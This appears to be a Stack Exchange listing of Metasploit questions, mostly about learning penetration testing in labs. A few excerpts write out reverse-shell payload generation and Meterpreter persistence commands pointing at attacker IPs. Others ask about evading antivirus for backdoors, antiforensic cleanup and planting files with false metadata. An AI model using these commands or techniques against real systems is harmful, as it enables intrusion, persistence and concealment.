Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

learn more… | top users | synonyms

0
votes
0answers
28 views

Targeting a specific machine and known setup with Armitage / Metasploit?

Most introductions to armitage / metasploit start with searching for potential targets. But if you want to pen test your own setup then it probably makes more sense to target the specific machine and ...
2
votes
1answer
111 views

Is my understanding of buffer overflows correct?

I am new to pentesting and wondering if my current understanding of buffer overflow exploits is correct. Assuming an operating address space of 3 addresses, an instruction space of 2 addresses, and an ...
0
votes
0answers
15 views

Is the Meterpreter stager threaded? [closed]

I've been trying to google an answer for this but can't seem to find one. Is the Meterpreter stager threaded? That is, when it's executed, does the program spawn a new thread to download Meterpreter ...
1
vote
2answers
42 views

armitage find attack tool cli equivalent command

Ive been using metasploit through the cli and a little through armitage. The tool in armitage to find attacks that gives you attacks that are more likely to work is quite useful, so i was wondering ...
-1
votes
1answer
56 views

Does it make sense to restrict the usage of Metasploit in Penetration testing exams ? [closed]

In some PT exams (mainly Offensive Security's) they restrict the usage of Metasploit or any automated attacking tool and allow only for manually written\compiled codes from public exploit sites such ...
0
votes
0answers
16 views

idevicerestore installation trouble

Can anyone help me figure out what im doing wrong to install this software? ``` root@kali:~/libimobiledevice# sudo apt-get install libusbmuxd-dev libplist-dev libplist++ Reading package lists... Done ...
-1
votes
0answers
28 views

Is armitage still a relevant piece of software?

I'm new to computer security and recently came across a software called Armitage which I understand it to be something like a GUI for Metasploit with some additional features and the ability to launch ...
2
votes
0answers
128 views

Metasploit pattern not working for buffer overflow for SLMail 5.5 [closed]

I'm trying to do a buffer overflow on SLMail 5.5. I see where EIP is when I send 2606 A's to the program using my script. However, I cannot get the Metasploit pattern creator to work. I want to use ...
3
votes
2answers
206 views

How can I add modules to a Payload on Metasploit

I know how to create payloads using Metasploit and then script a AutoRun script, so when the victim machine connects back to my Kali Server it execute some actions. Works sweet! What I wanted to do ...
1
vote
1answer
500 views

ms08_067_netapi not performing expectedly on Windows XP Sp1/Sp3

I tried the exploit with meterpreter reverse tcp on both Sp1/Sp3 machines and both returned a statement of exploit completed but no session was created. Both machines have firewall off. I want to have ...
3
votes
1answer
95 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
0
votes
3answers
169 views

windows/shell_reverse_tcp exploit is not working if listener is not running already

I am using metasploit to generate a shell_reverse_tcp exploit using following command msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe and on listener side I am using ...
2
votes
2answers
133 views

Install a vulnerable service for Windows 7

I have some kind of a project or demonstration, where I have to exploit Windows 7 to get a remote shell. I did a vulnerability scan with nessus on my Windows 7 machine, but I didn't find any kind of ...
2
votes
2answers
96 views

Meterpreter session over VPN

I have the following situation: Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled. Victim machine connected to another router, (obviously) different IP ...
1
vote
0answers
26 views

metasploit search command to fetch one AND another word

Is there a way to use metasploit console to search for 2 words exclusively? For example: search X and Y //I don't know if the syntax is this, of course In a way that will only return exploits that ...
1
vote
1answer
38 views

Writing payload into android device listening for adb debug messages

On msfconsole, if I type info exploit/android/adb/adb_server_exec I got on description part the following: Writes and spawns a native payload on an android device that is listening for adb ...
1
vote
1answer
107 views

Kali Linux metasploit and android attack by PAYLOAD

In kali linux 2.0, when I run exploit in msfconsole and the victim opens my payload, how can I force the session to be persistent?
2
votes
0answers
53 views

Rogue Containment on a wired network (mostly)

I work as a security analyst for a large company. The answer must provide remote support. We are currently looking to build a piece of software (integrating existing products with home grown ...
4
votes
1answer
61 views

Armitage check exploit

I am with all fairness not the most experienced penetration tester, I am doing an industry placement where I can improve my skills. I am using Armitage in Kali Linux to check for vulnerabilities in ...
1
vote
1answer
100 views

Can't get into Damn Vulnerable Web App with Hydra even though correct password is supplied

I've got VMware Workstation. I'm running Metasploitable2 and Damn Vulnerable Web App. I'm trying to attack it using Hydra in kali Linux. To save time I made a very small password list and included the ...
1
vote
0answers
57 views

Encrypted Malicious Traffic Database

I was working on a little research project to correctly identify the encrypted traffic pattern generated by various tools/applications for example metasploit (or increase the success rate). I have ...
1
vote
0answers
52 views

Correct metasploit search usage (or bug?)

I just noticed that the metasploit search keyword does not produce results as I'd expect it. If I search e.g. with search platform:linux I get proper results limited to Linux. But if I add ...
1
vote
2answers
5k views

Having Trouble using SET in Kali

I'm trying to setup a website attack vector and I get in error when it tries to load up metasploit. Here's a look at my whole process: Select from the menu: 1) Spear-Phishing Attack Vectors ...
3
votes
2answers
407 views

How to run exploit/windows/local/bypassuac using AutoRunScript?

Is there a way to run exploits that require parameters, such as the one in the title, using AutoRunScript? I was able to use AutoRunScript to execute some post commands perfectly, such as ...
1
vote
0answers
24 views

Metasploit Plugin not interacting with Meterpreter Client

I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
58
votes
6answers
14k views

Do actual penetration testers actually use tools like metasploit?

I've played around with metasploit simply as a hobby but am wondering if actual pentesters and/or hackers actually use metasploit to get into systems or do they write their own post exploitation ...
22
votes
3answers
4k views

Metasploit Meterpreter alternatives

These days I am testing various type of client hacking techniques, but in all scenarios I am using Meterpreter variations as payload. Now I can bypass Anti-Virus and Firewalls easily, but Symantec ...
-3
votes
4answers
275 views

Is it possible to hack a single computer without injecting a payload or a virus? [closed]

I know the ways to hack a computer or a mobile phone by injecting payload using some exploits with metasploit. We can inject a exe, or we can use pdf file, or docx file as I know. I wonder the ...
0
votes
0answers
37 views

ms03_026_dcom not working on Windows XP Sp1

I have been trying to use metasploit and kali linux when I came across the idea of using windows XP sp1 (checked the service pack with winver.exe on XP). I used the famous ms03_026_dcom and payload of ...
3
votes
2answers
44 views

Is there any downside to always declaring some default bad chars when generating exploits?

When setting the bad chars for shell code, is there any downside to just assuming that you should mark \x00 and \x0a as bad?
3
votes
2answers
88 views

metasploit exploits and payloads documentation

Where can i found the documentation of the exploits and payloads available in metasploit. I am looking for a documentation that tells what does the exploit or the payload do, and possibly a ...
1
vote
1answer
182 views

How to brute force HTTP Basic Authentication requested with XHR?

How can one brute force a website using HTTP Basic authentication using metasploit which uses XHR in background? I am getting error "No URI found that asks for HTTP authentication". Relevant headers ...
2
votes
1answer
59 views

Can I use a domain name instead of an IP for msf persistence?

After getting a shell (meterpreter) on the victim, the first thing to do is to migrate and get the system, and then you would install a persistence to connect back to you. But the problem is the ...
0
votes
0answers
38 views

Encode metasploit

Using metasploit I generated an exploit exploit/windows/fileformat/ms14_017_rtf for windows 7 with windows/shell_reverse_tcp payload. In show advanced, I use option EnableContextEncoding true and it's ...
1
vote
1answer
69 views

Removing remnants of a Metasploit exploit

Is it possible to remove a Metasploit payload/meterpreter from a compromised system? My question is mainly based on antiforensics (Leaving aside Memory forensics which is probably unavoidable but more ...
0
votes
0answers
17 views

msfconsole pipe with external module

Hi I'm new to metasploit and I saw that's come with John the Ripper included. My question is how can I pipe the output with an external module. (e.g aircrack in this case) Like this: john ...
1
vote
2answers
255 views

Using msf to connect to netcat listener and shell_to_meterperter

I've been trying for hours and failing to do something that should be simple! I have a box w/ admin (taking OSCP - nothing illegal). I used an RDP exploit, got a shell, added a user, put user in ...
0
votes
0answers
43 views

meterpreter reverse_https

Today I made a pause on my study guide to research what kind of traffic I'm generating with a few exploits and payloads, and actually I'm more interested in getting real understanding of the traffic ...
1
vote
0answers
51 views

initialAutoRunScript in BrowserAutoPwn2

I am trying to add some custom commands to browserautopwn2. When I get the session using the initialAutoRunScript option like this: msf > set initialautorunscript "upload /root/x.txt %temp%" ...
1
vote
2answers
219 views

Virus-total offline Alternatives [duplicate]

These days I am working on FUDing my own written backdoor, RATs, etc. what is the alternative offline version of virus-total, if I don't want AV companies gaining my virus signature?
0
votes
1answer
89 views

How do I remove a metasploit infection?

My brother in law sent me a link in a Facebook PM for dummy me to click on. I did, nothing happened, I thought nothing of it. Well he told my husband since I clicked on it he can now hack my Facebook ...
-3
votes
1answer
247 views

Metasploit stuck on “Sending backdoor command…”

I am trying to use Metasploit on the Unreal IRCD 3281 backdoor. I have tried with different kinds of payloads but the program gets stuck on the last line: msf exploit(unreal_ircd_3281_backdoor) > ...
1
vote
0answers
102 views

bypass proxy metasploit

I am working on a student project with the goal to exploit navigator vulnerabilities on weak Windows XP SP2 and/or Linux computers using only Metasploit Browser Autopwn 1 & 2. Seems trivial but ...
2
votes
0answers
189 views

importing OpenVAS xml in metasploit

I am practising in my lab with some metasploitable machines, and I just realised that the vulns declared by OpenVAS 6.01 in the scan report aren’t imported in Metasploit 4.11.5 by the db_import ...
3
votes
3answers
709 views

Should anti-virus detect metasploit payloads?

As part of a workstation pen test, I copy a simple metasploit payload onto the workstation, and try to run it. Usually this is blocked by anti-virus software. However, sometimes it isn't (I won't name ...
-2
votes
2answers
70 views

Metasploitable: vnc_login - doesn't work with msfadmin:msfadmin

I am quite new to Metasploit and pen testing in general, so apologies for any seemingly noobish references below. I am using auxiliary/scanner/vnc/vnc_login, after seeing that the 5900 port is open ...
0
votes
0answers
20 views

Metadata and Adding Files

If a person had files they wish to add to a computer and had physical access to the computer could the docs or emails be added with false metadata to indicate the documents had been added at a ...
0
votes
0answers
21 views

How would you change the log files on a Macbook using Yosemite?

I am a total novice and know nothing about hacking or security. I am a writer. I am trying to figure out the best scenario for adding something to someone's computer. If a person had physical ...
2
votes
2answers
1k views

How to exploit vulnerabilities found from OpenVAS?

I could not find any match for the vulnerabilities with their CVE numbers found from OpenVAS scanner with exploits using sites such as Rapid 7 Vulnerability DB and Exploit DB, or by using a command ...